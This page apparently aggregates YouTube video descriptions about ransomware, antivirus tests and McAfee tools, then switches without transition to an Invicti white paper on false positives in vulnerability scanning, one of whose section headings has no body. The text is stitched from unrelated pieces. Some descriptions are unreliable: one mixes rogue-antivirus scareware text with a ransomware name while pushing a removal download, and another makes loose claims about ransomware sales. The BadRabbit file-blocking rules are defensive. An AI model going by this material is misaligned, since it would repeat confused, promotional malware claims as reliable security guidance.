Hi Guys Welcome to elearninginfoit my name is rajesh i just inform about this video only for Training ,Tutorials and Education purpose More information about this video so read this description you will get everything about it block badrabbit exe Name:block badrebbit file 1 Processed to include : * Processes to exclude : blank File/folder name to block: C:\Windows\cscc.dat Actions to block:create, execute block badrabbit exe Name:block badrebbit file 2 Processed to include : * Processes to exclude : blank File/folder name to block: C:\Windows\dispci.exe Actions to block:create, execute block badrabbit exe Name:block badrebbit file 3 Processed to include : * Processes to exclude : blank File/folder name to block: C:\Windows\infpub.dat Actions to block:create, execute The signatures in this extra.dat file will be added to the production dat 8695 which will be released today facebook page : https://www.facebook.com/elearninginfoit twitter page : https://twitter.com/RajeshS87398051 Google plus: https://plus.google.com/u/0/100036861860929870179 blogger page : https://elearninginfoit.blogspot.in youtube page : https://www.youtube.com/elearninginfoit linkdin page : https://in.linkedin.com/in/rajesh-sharma-90537179 https://www.instagram.com/elearninginfoit/ https://www.pinterest.com/elearninginfoit https://vimeo.com/user57285849 https://elearninginfoit.wordpress.com/ https://www.reddit.com/user/elearninginfoit https://www.flickr.com/people/[email protected]/ http://www.tumblr.com/liked/by/elearninginfoit
Views: 914 elearninginfoit
This is a specific ransomware test for Kaspersky Internet Security where I disable the file guard to figure out how Kaspersky deals with new and unknown/zero-day threats. Full Review of KIS: https://www.youtube.com/watch?v=EZilvB-uCEs ------------------------------------------- Thanks for watching! If you like what you see, check out the links below. Patreon: https://www.patreon.com/tpsc Forum: https://forum.thepcsecuritychannel.com/ Twitter: https://twitter.com/leotpsc Facebook: https://www.facebook.com/tpscyt Music by LakeyInspired
Views: 20820 The PC Security Channel [TPSC]
This webinar discusses using the McAfee Endpoint Upgrade Assistant and Policy Migrator tools to provide a seamless move to Endpoint Security 10.5. Traditional techniques alone have proven insufficient to address current enterprise security challenges, and many organizations are considering replacement of traditional Anti-Virus. Endpoint Security 10.5 provides layered, next generation protection for today’s threats. About McAfee: McAfee is the device-to-cloud cybersecurity company. Inspired by the power of working together, McAfee creates business and consumer solutions that make our world a safer place. Connect with McAfee: Visit McAfee Website: https://mcafee.ly/2py7484 Follow McAfee on Twitter: https://mcafee.ly/Twitter Follow McAfee on LinkedIn: https://mcafee.ly/LinkedIn Follow McAfee on Facebook: https://mcafee.ly/facebook
Views: 7397 McAfee Technical
#TechnologyTutorials #mcafee #dlp #mcafeedlp #McAfee #mcafeetutorials #technology #McAfeeDriveEncryption #encrypt #decrypt #mcafeeDE #McAfeeDE McAfee Drive Encryption - Decrypt - Trainning Video - mcafee Technology Tutorials - Chia sẻ các video về hướng dẫn, trainning các thủ thuật/tips Hãy Đăng Kí Kênh (Subcribe), Chọn Thích (Like), Bình Luận (Comment) và Chia Sẻ (Share) trên Facebook và các trang mạng xã hội để ủng hộ kênh https://www.youtube.com/channel/UC12r...
Views: 2841 Technology Tutorials
Infos zur Ransomware Petya und weiterführende Links: http://url.qso4you.com/3lf Weitere Infos zum Test: http://url.qso4you.com/3lj Endcard Videos ► Video 1: http://url.qso4you.com/3kd ► Video 2: http://url.qso4you.com/3lf ▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ YouTube Kanäle von QSO4YOU QSO4YOU Gaming: http://url.qso4you.com/2us QSO4YOU Tech: http://url.qso4you.com/33b QSO4YOU TV: http://url.qso4you.com/33a ▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ Dailymotion: http://url.qso4you.com/2jq Soundcloud: http://url.qso4you.com/2zi Vimeo: http://url.qso4you.com/337 Webseite: https://www.qso4you.com Community: http://url.qso4you.com/2mb ▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ Social Media Facebook: http://url.qso4you.com/338 Twitter: http://url.qso4you.com/33c Tumblr: http://url.qso4you.com/33h Google+: http://url.qso4you.com/33d ▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ Server Mumble Server: mumble.qso4you.com Port: 64738 TeamSpeak 3 Server: ts3.qso4you.com Port: 9987 Minecraft Server: minecraft.qso4you.com Dynmap: http://url.qso4you.com/33f ▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ Infos zu QSO4YOU Team: http://url.qso4you.com/2m9 Freie Redakteure: http://url.qso4you.com/2a7 Partner: http://url.qso4you.com/2ma Presse: http://url.qso4you.com/33e ▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ Kontakt Redaktions Kontakt: http://url.qso4you.com/33i Sponsoren / Projektleitung Kontakt: http://url.qso4you.com/33j ▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ Impressum http://url.qso4you.com/33g © QSO4YOU 2016
Views: 7697 QSO4YOU Tech
Just installed McAfee ENS? Seeing an unwanted detection on a legitimate file? Watch this quick tutorial on how to test your on-access scanner and how to create an exclusion based on the results of a detection.
Views: 349 McAfee Support
The MOLE Ransomware is a new Cryptolocker, that encrypts the files using RSA-1024 algorithm. It adds to txt, jpg, bmp and other files .MOLE extension. In the video I try to show how to remove this Motherfukka MOLE ransomware and to restore files to the previous checkpoint. As always Like 👍 Comment 😜 Subscribe for more content videos being added all the time ✌To restore files try to follow next instructions! Method 1: Use special programs to restore files The second method is not as secure, but if you do not have the habit of doing backups - you should use it. In the encryption process, the virus creates an encrypted copies of files and deletes the original ones. So you can use shadow copies to restore data. There are two programs that make it easier to work with the shadow copies of files and give you direct access to them. These are Shadow Explorer and Recuva. Recuva website: https://www.piriform.com/recuva Shadow Explorer website: http://download.cnet.com/ShadowExplorer/3000-2094_4-75857753.html Method 2: Use special decryptor In that moment there is not many programs that can suggest this option. Kaspersky Ransomware Decryptor is a free and helpful tool. But there is no 100% decryption chance. Official Kaspersky website with ransomware decryptor https://noransom.kaspersky.com/ Let's summarize. First, to prevent infection is much easier than correcting its effects. Therefore, always keep the anti-virus on, and scan system regularly. Secondly, regularly do a full backup to be able to restore your system at no cost. And remember, you play the main role in ensuring the security of your PC. If you are not careful on the Internet, and act contrary to the rules of computer- and Internet-security, no anti-virus will help you. Nemesis Customized Computer Repair Donations: https://www.paypal.me/Nemesiscomputer/5 Némesis Customized Computer Repair Website: http://nemesiscomputerrepair.net/ Get your hands on Catalystmints today: https://www.catalystmints.com/energy-mints?tracking=nemesiscomputer%22 ☞ Follow NCS Spotify → http://bit.ly/SpotifyNCS Twitter → http://twitter.com/NCSounds Google+ → http://google.com/+nocopyrightsounds Facebook → http://facebook.com/NoCopyrightSounds Soundcloud → http://soundcloud.com/nocopyrightsounds
Views: 861 Nemesis Customized Computer Repair
Here is the short video on what is Ransomware CryptoLocker Virus Malware ? Ransomware is Malware that is installed on a user's device from popups ads, malicious website or Emails attachment. It first came in picture back in 1989. It data kidnapping, an exploit in which the attacker encrypts the victim's data and demands payment for the decryption key. Key Points 1. Ransomware is a malicious program which is encrypts your complete data and asking you to give bitcoins or money for key. 2. Without key we can not decrypt data. 3. There are some sites which also can give you this type of viruses with ratio deal. 4. Due to Ransomware, suppose you delete or format your data, and think that to recover…then its not possible. Because all data are still encrypted, so you never got your old data. 5. It also accept part payment in ratio of 70%-30% ------------- Link for WOT : https://www.mywot.com/ Link for Site Advisor : https://www.siteadvisor.com/
Views: 84 Fanny Magnet
This video is for educational purposes only, watchers should not try to infect any computer with a virus unless with prior consent, legal authority and for testing/educational purposes, and that the video contains a video of testing a virus on a Virtual Machine, for educational purposes, which means no people or machines were negatively impacted or harmed in the making of the video. Also say that users should not try to copy this (testing viruses) at home without adequate prior knowledge or supervision, and they should only do so with their own computers; finally, in all situations they should never break the law in any way with the use of viruses, and in the event they do, neither you nor YouTube are legally responsible in any way. --------------------------------------------------------------------------------------------------------- Music : "Collide" by Airhead http://yt.vu/+airheadmusic // YouTube http://fb.me/airheadmusic // Facebook Editor : Camden Moors ---------------------------------------------------------------------------------------------------------- Thanks for watching video I hope you enjoyed it :) Join My Discord Server : https://discord.gg/QvhDXBh Follow me on Facebook : https://goo.gl/U6wtVF Follow me on Twitter : https://twitter.com/SiamAlamYT
Views: 37461 Siam Alam
In this video, we are going to be discussing a pretty popular subject: ransomware protection. Ransomware is an extremely popular subject. It affects most of the organizations by encrypting data and asking for payment to get it back. You can also find this tutorial on our blog: cqu.re/5CQhacksweekly
Views: 4243 CQURE Academy
This video shows a test of Dell DDP Endpoint protection suite (Enterprise edition) Vs the competition, McAfee, Symantec and Trend. Test was based on 100 pieces of random ransomware code and the results are alarming, with cyber crime the worlds largest and growing no1 BUSINESS globally you need to look at this and act if you have one of the other providers!
Views: 1583 JB TECH
Views: 77 CITech Tutorials
John McAfee says McAfee anti-virus software was created in a day and a half.
Views: 22339 ABC News
Visit http://www.cleanpcguide.com/download and follow the instructions on the page to download and remove the virus. RSA-2048 encryption Ransomware infection is promoted through hacked sites that use exploits to install this program onto your computer without your permission. Once installed is it will display false error messages and security warnings on the infected computer. Once RSA-2048 encryption Ransomware is started it will do a fake scan on your computer that will state that there are numerous infections or problems present. It will then prompt you to remove these so-called infections or problems, but will not allow you to do so unless you first purchase the program. Please understand, that RSA-2048 encryption Ransomware is scripted to show you these fake scan results regardless of the computer you are on and how clean it is. Therefore, do not be concerned by any of the scan results as they are only being shown to scare you into thinking that you have a serious computer problem. RSA-2048 encryption Ransomware will also configure Windows to use a Proxy Server. This Proxy Server will intercept all Internet requests and instead of displaying your requested web pages, will show fake security alerts stating the web site you are visiting is malicious. More Tags: Remove RSA-2048 encryption Ransomware RSA-2048 encryption Ransomware removal RSA-2048 encryption Ransomware How to remove RSA-2048 encryption Ransomware How to get rid of RSA-2048 encryption Ransomware Delete RSA-2048 encryption Ransomware Uninstall RSA-2048 encryption Ransomware how to delete RSA-2048 encryption Ransomware how to get rid of RSA-2048 encryption Ransomware how to uninstall RSA-2048 encryption Ransomware RSA-2048 encryption Ransomware Virus RSA-2048 encryption Ransomware Trojan Fake RSA-2048 encryption Ransomware Virus RSA-2048 encryption Ransomware Removal Tool Detect RSA-2048 encryption Ransomware Automatic RSA-2048 encryption Ransomware Removal RSA-2048 encryption Ransomware Infection RSA-2048 encryption Ransomware Scam
Views: 25057 jane mary
Ransomware developers have been shifting their focus into transforming their malware to mine bitcoin. Here is an example of a threat VenusLocker, which now stealthily mines Monero on the victim's computer. ------------------------------------------- Thanks for watching! If you like what you see, check out the links below. Patreon: https://www.patreon.com/tpsc Forum: https://forum.thepcsecuritychannel.com/ Twitter: https://twitter.com/leotpsc Facebook: https://www.facebook.com/tpscyt
Views: 10800 The PC Security Channel [TPSC]
Please check out my Udemy courses! Coupon code applied to the following links.... https://www.udemy.com/hands-on-penetration-testing-labs-20/?couponCode=NINE99 https://www.udemy.com/kali-linux-web-app-pentesting-labs/?couponCode=NINE99 https://www.udemy.com/kali-linux-hands-on-penetration-testing-labs/?couponCode=NINE99 https://www.udemy.com/network-security-analysis-using-wireshark-snort-and-so/?couponCode=NINE99 https://www.udemy.com/snort-intrusion-detection-rule-writing-and-pcap-analysis/?couponCode=NINE99 Description: This video will cover a quick overview and demonstration of the ETERNALBLUE exploit and WannaCry Ransomware. I'll be showing you how to replay a PCAP through a network interface using Tcpreplay, and how to analyze Snort IDS alerts pertaining to WannaCry Ransomware infection using Wireshark. This will be done within a Security Onion VM using VirtualBox. How to install and configure Secuirty Onion on Virtualbox (Lab 1): https://www.udemy.com/network-security-analysis-using-wireshark-snort-and-so/ Link to download WannaCry Ransomware PCAP: http://malware-traffic-analysis.net/2017/05/18/index2.html Link to McAfee Labs WannaCry Ransomware analysis report: https://securingtomorrow.mcafee.com/mcafee-labs/analysis-wannacry-ransomware/
Views: 6751 Jesse Kurrus
Jun.29 -- Digital Defense is a live webcast featuring Bloomberg Technology cybercrimes reporter Jordan Robertson. This week, Jordan explains how you should deal with a ransomware attack, in the wake of one of the largest international incidents of its kind. Jordan will take questions from the audience. Watch every Thursday on Bloomberg.com, Facebook and YouTube.
Views: 763 Bloomberg Technology
Zero Day Recovery™ from Tectrade is the last line of defence against zero-day cyber attacks and ransomware. It allows businesses to recover their data fast without paying a ransom.
Views: 4862 Tectrade
THIS IS VIDEO IS TO TELL WHAT IS RANSOMWARE. WAHT IS THE EFFECT OF RANSOMWARE .Ransomware is a type of malicious software that carries out the cryptoviral extortion attack from cryptovirology that blocks access to data until a ransom is paid and displays a message requesting payment to unlock it. Simple ransomware may lock the system in a way which is not difficult for a knowledgeable person to reverse. More advanced malware encrypts the victim's files, making them inaccessible, and demands a ransom payment to decrypt them. The ransomware may also encrypt the computer's Master File Table (MFT) or the entire hard drive. Thus, ransomware is a denial-of-access attack that prevents computer users from accessing files since it is intractable to decrypt the files without the decryption key. Ransomware attacks are typically carried out using a Trojan that has a payload disguised as a legitimate file. While initially popular in Russia, the use of ransomware scams has grown internationally; in June 2013, security software vendor McAfee released data showing that it had collected over 250,000 unique samples of ransomware in the first quarter of 2013, more than double the number it had obtained in the first quarter of 2012. Wide-ranging attacks involving encryption-based ransomware began to increase through Trojans such as CryptoLocker, which had procured an estimated US$3 million before it was taken down by authorities, and CryptoWall, which was estimated by the US Federal Bureau of Investigation (FBI) to have accrued over $18m by June 2015... WHAT IS RANSOMWARE WANNA CRY FOLLOW ME FACEBOOK-https://www.facebook.com/manjaresh.singh INSTAGRAM-https://www.instagram.com/iamman08/
Views: 239 The Tecnico Singh
Views: 825 Dr.FarFar
This demo will show how vulnerable your company is if relying only on traditional antivirus/anti-malware tools like Avast, ESET, Windows Defender, McAfee Total Protection or Norton Security Deluxe to name a few. These tools do a great job stopping Trojans and known viruses but fail miserably when stopping and detecting the latest type of encryption ransomware hitting the globe such as WannaCry, Petya and SamSam to name a few (SamSam wiped out 2000 computers in February 2018 at the DOT of Colorado and the City of Atlanta in March 2018...they were relying on traditional antivirus alone). However, using these tools along with Helepolis will allow you to protect your data and endpoints from ransomware encryption when products from Avast, ESET, Norton, McAfee, Microsoft, etc. alone fail to stop these new threats.
Views: 8 Helepolis
After The Round ( 1 - 2 - 3 - 4) Win : Norton, Bitdefender, Tiranium, Comodo, Emsisoft, TrendMicro, Qihoo Eliminate : CrystalSecurity, AVG, Avast, McAfee, Gdata, Kaspersky, BullGuard, K7, Ad-Aware, Panda, Webroot, Vipre, Avira, Baidu, F-Secure. Thanks for the watching ;)
Views: 2832 Manzaitest - Antivirus Tests & Reviews
Looking to simplify and accelerate your security management? Our industry-acclaimed security management platform, McAfee® ePolicy Orchestrator® (McAfee® ePO™), has reached new heights in reducing complexity. Our latest version – McAfee® ePO™ 5.10 – improves productivity with new interfaces, dashboards, security resources and cumulative updates. If you are looking at upgrading, or have already started on your migration journey, this video is for you. We review best practices and technical tips to help you get the most out of your McAfee® ePO™ environment. With the development of the McAfee Cumulative Updater tool, you can now upgrade easily and maintain the latest updates with ease.
Views: 1851 McAfee Support
In this 6-part series, Splunk’s James Brodsky walks through real-world examples of Windows ransomware detection techniques, using data from Vulnerability and Patch Management, Network Traffic, Windows Registry, Windows Events, and Windows Sysmon. This video covers how to network traffic logs to implement ransomware detection techniques such as communications from unusual processes, unwanted SMB communications from endpoints, network connections to TCP 445 or 139, domain PTR queries not in the Alexa 1M, and even detection before encryption (e.g. process running in user space to initiate download of encryptor code). For more information: Splunk Security Essentials for Ransomware: https://splunkbase.splunk.com/app/3593/ Splunk Security Essentials: https://splunkbase.splunk.com/app/3435/ Splunk Online Demo Experience (Try Ransomware techniques in a “safe”, guided sandbox with real “threats”): https://www.splunk.com/en_us/form/security-investigation-online-experience-endpoint.html
Views: 2336 Splunk
#TechnologyTutorials #mcafee #dlp #mcafeedlp #McAfee #mcafeetutorials #technology #McAfeeDriveEncryption #encrypt McAfee Drive Encryption - Encrypt PC + Sing sign on - Trainning Video - mcafee Technology Tutorials - Chia sẻ các video về hướng dẫn, trainning các thủ thuật/tips Hãy Đăng Kí Kênh (Subcribe), Chọn Thích (Like), Bình Luận (Comment) và Chia Sẻ (Share) trên Facebook và các trang mạng xã hội để ủng hộ kênh https://www.youtube.com/channel/UC12r...
Views: 2741 Technology Tutorials
Petya ransomware victims can now unlock infected computers without paying. An unidentified programmer has produced a tool that exploits shortfalls in the way the malware encrypts a file that allows Windows to start up. In notes put on code-sharing site Github, he said he had produced the key generator to help his father-in-law unlock his Petya-encrypted computer. The malware, which started circulating in large numbers in March, demands a ransom of 0.9 bitcoins (£265). It hid itself in documents attached to emails purporting to come from people looking for work. Scrambling schemes Security researcher Lawrence Abrams, from the Bleeping Computer news site, said the key generator could unlock a Petya-encrypted computer in seven seconds. But the key generator requires victims to extract some information from specific memory locations on the infected drive. And Mr Abrams said: "Unfortunately, for many victims extracting this data is not an easy task." This would probably involve removing the drive and then connecting it up to another virus-free computer running Windows, he said. Another tool can then extract the data, which can be used on the website set up to help people unlock their computer. Independent security analyst Graham Cluley said there had been other occasions when ransomware makers had "bungled" their encryption system. Cryptolocker, Linux.encoder and one other ransomware variant were all rendered harmless when their scrambling schemes were reverse-engineered. "Of course," said Mr Cluley, "the best thing is to have safety secured backups rather than relying upon ransomware criminals goofing up."
Views: 426 NewsReport24
Описание: 1. http://www.bleepingcomputer.com/news/security/the-locky-ransomware-encrypts-local-files-and-unmapped-network-shares/ (EN) 2. https://blog.kaspersky.ru/locky-ransomware/11382/ (RU) 3. http://www.securitylab.ru/blog/company/PandaSecurityRus/275227.php (RU)
Views: 632 mike1 mike1
Learn More: http://www.dell.com/DataSecurity In this demo we are going to examine how the Dell Endpoint Security Suite Enterprise fairs against Satan Ransomware as a service as well as zero day ransomware.
Views: 2875 Dell EMC
Name : Wanna Cry Virus Type : Ransomware Danger Level : High (Ransomware is by far the worst threat you can encounter) Symptoms : Very few and unnoticeable ones before the ransom notification comes up. Distribution Method : From fake ads and fake system requests to spam emails and contagious web pages. how ransomware attack, how ransomware attack works, how ransomware encryption works, how ransomware infects, how ransomware infects a system, how ransomware spreads, how ransomware works fbi ransomware news, keyholder ransomware, lazy ransomware, network crime ransomware, ransomware, ransomware 2.2, ransomware 2015, ransomware 2016, ransomware 2017, ransomware 4.1.5, ransomware analysis, ransomware android, ransomware animation, ransomware as a service, ransomware attack, ransomware attack demo, ransomware attack tutorial, ransomware attack video, ransomware attacks examples, ransomware awareness, ransomware backup strategy, ransomware behavior, ransomware bitdefender, ransomware blue screen, ransomware browser, ransomware browser hijack, ransomware builder, ransomware builder download, ransomware bullet hell, ransomware bullet hell game, ransomware cerber, ransomware cerber3 decryptor, ransomware cisco, ransomware code, ransomware conclusion, ransomware create, ransomware cryptolocker, ransomware cryptolocker decrypt, ransomware cryptolocker removal, ransomware cryptowall, ransomware danooct1, ransomware decrypt, ransomware decrypt my files, ransomware decrypt tool, ransomware defender, ransomware demo, ransomware demonstration, ransomware documentary, ransomware download, ransomware download for testing, ransomware education, ransomware email, ransomware email sample, ransomware en español, ransomware encrypted files, ransomware encryption, ransomware example, ransomware excel files, ransomware exe, ransomware explained, ransomware facts, ransomware fantom, ransomware fbi, ransomware file decryptor, ransomware file decryptor by trend micro, ransomware file decryptor cerber3, ransomware fix, ransomware for android, ransomware for sale, ransomware funny, ransomware game, ransomware german, ransomware github, ransomware globe3, ransomware google drive, ransomware group policy, ransomware hack, ransomware help, ransomware history, ransomware honeypot, ransomware hospital, ransomware how it works, ransomware how to, ransomware how to decrypt files, ransomware how to make, ransomware how to remove, ransomware ics, ransomware in action, ransomware in healthcare, ransomware in hindi, ransomware in india, ransomware in linux, ransomware infection, ransomware intel security, ransomware introduction, ransomware iphone, ransomware jigsaw, ransomware kali linux, ransomware kaspersky, ransomware kaspersky rescue disk, ransomware kill chain, ransomware kya hota hai, ransomware law enforcement, ransomware linux, ransomware live, ransomware locked my computer, ransomware locky, ransomware mac, ransomware maker, ransomware malwarebytes, ransomware mcafee, ransomware meaning, ransomware meaning in hindi, ransomware merry, ransomware millionaire, ransomware mobile, ransomware movie, ransomware network traffic, ransomware news, ransomware nod32, ransomware nsis, ransomware on android, ransomware on google drive, ransomware on iphone, ransomware on mac, ransomware on phone, ransomware on server, ransomware open source, ransomware osiris, ransomware osiris decrypt, ransomware osiris decryptor, ransomware payment methods, ransomware pdf, ransomware ppt, ransomware prank, ransomware prevention, ransomware prevention mcafee, ransomware pronunciation, ransomware protection, ransomware protection mcafee, ransomware python, ransomware recover files, ransomware recovery, ransomware recovery tools, ransomware removal, ransomware removal for android, ransomware removal kaspersky, ransomware removal tool, ransomware removal tool free download, ransomware removal windows 10, ransomware removal windows 7, ransomware response kit, ransomware sample, ransomware sample download, ransomware satana, ransomware simulator, ransomware smart tv, ransomware solution, ransomware solved, ransomware source code, ransomware source code download, ransomware statistics, ransomware tamil, ransomware technical guruji, ransomware technical sagar, ransomware testing, ransomware touhou, ransomware traffic, ransomware training, ransomware training video, ransomware trends, ransomware tutorial, ransomware uae, ransomware url, ransomware video, ransomware virus, ransomware virus code, ransomware virus decrypt, ransomware virus download, ransomware virus in action, ransomware virus recovery, ransomware virus removal, ransomware virus removal tool, ransomware virus removal tool quick heal, ransomware wallet, ransomware wallet decrypt, ransomware wallet removal, ransomware webinar, ransomware website, ransomware what is it, ransomware windows 10, ransomware windows defender, ransomware wireshark, ransomware working, ransomware youtube, windows 10 ransomware
Views: 170 PANKAJ Yadav
An interesting discussion from CES 2016 with Brian Krebs- cybersecurity investigative journalist from Krebs On Security. Brian Krebs delivered a tech talk at CES 2016 on the dangers of ransomware, especially to large corporations. He elaborated on the topic to SecureNinjaTV Producer Jon Miller, and delivered some insightful thoughts on the criminal business operations of ransomware distributors. SUBSCRIBE to SecureNinjaTV for more awesome hacker demos, trade show tours, and interviews with cybersecurity experts. If you are in need of Cybersecurity training head over to www.SecureNinja.com for onsite or classroom course options. FOLLOW US: Twitter.com/Secureninja Instagram.com/SecureNinja Facebook.com/SecureNinja
Views: 2718 SecureNinjaTV
This demo will show how vulnerable your company is if relying only on traditional antivirus/anti-malware tools like McAfee Total Protection, Windows Defender or Norton Security Deluxe to name a few. These tools do a great job stopping Trojans and known viruses but fail miserably when stopping and detecting the latest type of encryption ransomware hitting the globe such as WannaCry, Petya and SamSam to name a few (SamSam wiped out 2000 computers in February 2018 at the DOT of Colorado...they were relying on McAfee alone). However, using these tools along with Helepolis will allow you to protect your data and endpoints from ransomware encryption when products from Norton, McAfee, Microsoft, etc. alone fail to stop these new threats. Get protected today and visit www.helepolis.net
Views: 46 Helepolis
Decoding one of the variants of 7ev3n ransomware. Read more: https://hshrzd.wordpress.com/2016/06/13/decoder-for-7ev3n-ransomware/
Views: 618 hasherezade |
How many different ways can data be compromised? First, both external and internal threats can target it. External threats can come in the form of malware or ransomware. Meanwhile, internal threats can come from malicious insiders working from behind trusted accounts. Insiders can become a threat simply by clicking a phishing link or being tricked by a social engineering attack. Missing a database update or minor misconfiguration could be just the hole an attacker needs to infiltrate a business. Zero trust is a framework that should address all of these potential attack vectors. |
False Positives in Web Application Security – Facing the Challenge
To keep up with the fast pace of modern web application development, vulnerability testing requires automated tools to assist in finding vulnerabilities. Unfortunately, apart from legitimate vulnerabilities, automated scanners can also report false alarms, or false positives, which must be further investigated manually just like real vulnerabilities. As systems and applications grow, the number of false positives can rapidly increase and place a serious burden on developers and security teams, with negative consequences for the development process, application security, and business results.
Highlights from this white paper include:
- The dramatic impact of security false positives all across the software development lifecycle
- Proven ways of cutting through uncertainty with automatic vulnerability verification
- The wide-ranging benefits of working with trustworthy vulnerability testing results
Introduction: The everyday reality of web application security testing
In today’s fast-paced development environments, web applications are updated on a daily basis, and agile, integrated methodologies such as DevOps are fast becoming the norm. Development teams use highly automated processes to create, test, and modify multiple applications and services, often making extensive use of ready application frameworks and open source libraries.
Rapid development presents a serious challenge for application security testing. Manual testing is too slow, expensive, and often impractical across multiple applications. Automated scanners integrated into the software development lifecycle (SDLC) are a practical necessity, but bring their own challenges. In particular, the false alarms (or false positives) generated by many such tools can have a serious impact on the development process, application security, and business outcomes.
Your development, operations, and security teams are under constant pressure to deliver more with less in a constantly changing threat environment. Automated tools integrated into the SDLC are critical to their success, so they must be reliable, efficient, and trustworthy.
This is no place for false positives.
The challenge: False positives in vulnerability scanning
There are two main types of vulnerability scan errors: false negatives, where the results don’t include an existing vulnerability, and false positives, where the scanner indicates non-existent security issues. False negatives have a direct impact on security, because undetected vulnerabilities can’t be fixed. False positives, on the other hand, can have serious consequences not just for security, but all across the organization.
Modern web application development relies heavily on integration and automation, especially for approaches such as CI/CD and DevOps. This means that security testing must also be integrated into the development pipeline and automated as much as possible to ensure that issues are detected quickly and test results are efficiently communicated back to the developers. False positives in scan results introduce unnecessary additional work into the highly automated development pipeline and undermine the entire development process.
The purpose of automated vulnerability scanning is to ensure more effective security testing than with manual methods, especially as the number of applications and updates grows. However, if the number of false positives reported by an automated solution becomes unmanageable at scale, organizations might, for example, limit vulnerability scanning only to their top-priority applications – in effect negating the benefits of using an automated solution in the first place. In web application vulnerability scanning, false positives can be a real deal-breaker.
Static vs. dynamic application security testing
There are two main approaches to application security testing, each with its own advantages and limitations:
Delays in the development pipeline
Scalability is a major concern for any growing organization, and scaling up development processes can bring many challenges. Small-scale development often relies on manual processes and ad hoc toolkits, which can initially work well and remain manageable, even if the tools used for testing report too many false positives. However, as the number of updates and products grows and workloads increase, the number of false positives can grow exponentially, and manually dealing with each false alarm becomes impractical. When you start adding automation at scale, even occasional false positives can force the security team to manually screen all results, negating the performance benefits of automation.
These scalability problems are compounded by the fact that dealing with a false positive can actually take longer than resolving a real vulnerability. This is because real issues are testable: you can test for the suspected vulnerability, fix it, test the fix, and have documented proof that the issue has been resolved. However, when dealing with a false positive, a lot more testing can be necessary until the developer decides that it’s a false alarm. Crucially, someone has to take personal responsibility for ruling against the scanner and signing off code where potentially serious issues have been flagged as false alarms.
In an agile development environment, automation is king – and manual security processes are not a feasible option at scale. DevOps and CI/CD teams rely on their automated tools to do the legwork so they can focus on tasks that require the creativity and problem-solving skills of highly qualified specialists. False positives in vulnerability testing can force testers and developers to put their streamlined automated processes on hold and laboriously review each false alarm just like a real vulnerability.
False positives can also be detrimental to team dynamics. Every time the security team reports a vulnerability, the developers have extra work investigating and fixing the issue, so reliability and mutual trust are crucial to maintaining good relations. This makes false alarms particularly aggravating, and if the vulnerability scan results burden the developers with unnecessary workloads, the working relationship may quickly turn sour. The dev team may start treating the security people as irritating timewasters, leading to an “us vs. them” mentality – with disastrous consequences for collaboration and the entire software development lifecycle.
Deteriorating application security
Apart from the burden they place on the development process, false positives can also directly affect application security. As developers and testers lose confidence in a vulnerability scanner that generates mostly false alarms, they might start routinely ignoring whole classes of issues from this tool. After all, each vulnerability report means extra work, so if, say, 2 out of 3 issues reported by a certain tool are false positives, human nature dictates that sooner or later someone will start ticking boxes just to make the errors go away – especially considering that every single false alarm is a huge problem at scale. Worse still, that one remaining issue might be a critical vulnerability that goes unnoticed in the flood of false positives and makes it into production, or is caught and fixed at far greater cost during later manual testing.
If this goes on long enough, developers and testers may become desensitized to vulnerability reports, causing the overall security culture to deteriorate. This goes back to the issue of trust: if security reports mostly cause unnecessary work due to false positives, developers may become wary not just of specific tools, but also of any security issues in general. Just as SecDevOps and similar approaches are being introduced to foster a security-first mindset, security solutions that flood developers with false alarms might undo all these efforts, relegating security issues to the backbench in development pipelines.
Time to resolution is another vital aspect of security that is impacted by false positives. Modern web applications can be updated several times a day, and each modification could potentially introduce new vulnerabilities. To maintain system and data security, vulnerabilities in production applications must be detected, confirmed, triaged, and addressed with maximum efficiency. Again, false positives in vulnerability reports can be a serious headache for security teams and developers, who must go through false alarms before addressing real, exploitable vulnerabilities. Apart from the cost and frustration of extra work, this increases the time to resolve actual vulnerabilities and leaves production applications vulnerable for longer than absolutely necessary.
Mounting costs and business risk
We have already seen that false positives in vulnerability scanning can have serious consequences for application security and the development process, but the financial side is equally important. In business, delays due to unexpected problems have a measurable financial impact, so false positives can really hurt your bottom line.
For many if not most organizations, employee salaries and contractor fees are a major cost component, and extra work means more expenses. Dealing with false positives can be especially costly, as investigating a false positive can take longer than fixing a real issue. This waste of productivity is compounded by the fact that if developers are chasing false alarms, they are not generating business value – or fixing real vulnerabilities.
Timely delivery of products and features is crucial for the business success of any development operation. However, when security testers and developers are spending too much time investigating false positives, delays can easily creep in, with very real financial consequences. Features that are still awaiting implementation can’t bring in new revenues, and project schedule overruns may mean lost business opportunities as staff are unable to take on new work. Just as importantly, missed client deadlines are bad for repeat business.
If staff gets used to waving away vulnerability reports because they are most likely false alarms, real vulnerabilities may sometimes slip through and make it into the production application. With the risk and impact of cyberattacks growing from year to year, leaving avoidable vulnerabilities in your software is a recipe for disaster, whether developing software for internal use or for paying clients. Data breaches, system outages, data loss, malware infections – all can be very costly in terms of time, money, and reputation.
Organizations that see security as an investment rather than just another expense will be interested in the return on investment (ROI) from their vulnerability scanning solution. Integrating an enterprise-class web vulnerability scanner into the development and operations processes can bring measurable savings due to increased efficiencies all across the pipeline. However, tools that return too many false positives can eat away at these benefits by adding unnecessary man-hours to the company payroll. From a wider financial perspective, false positives can quite simply reduce the return on investment in security tools.
The solution: Automatic vulnerability verification with Proof-Based Scanning
So far, we’ve seen that false positives can be a lot more than an inconvenience, and if they get out of hand, they can seriously affect the entire development pipeline. But how do you get rid of them? Let’s step back and think about this. A false positive is reported when a tool mistakenly suspects a certain kind of vulnerability. To go from suspicion to certainty, you need proof that the vulnerability really exists – and can be exploited. So why not create a solution that can deliver this proof by automatically exploiting suspected vulnerabilities? This is exactly the approach taken by Invicti with its Proof-Based Scanning technology.
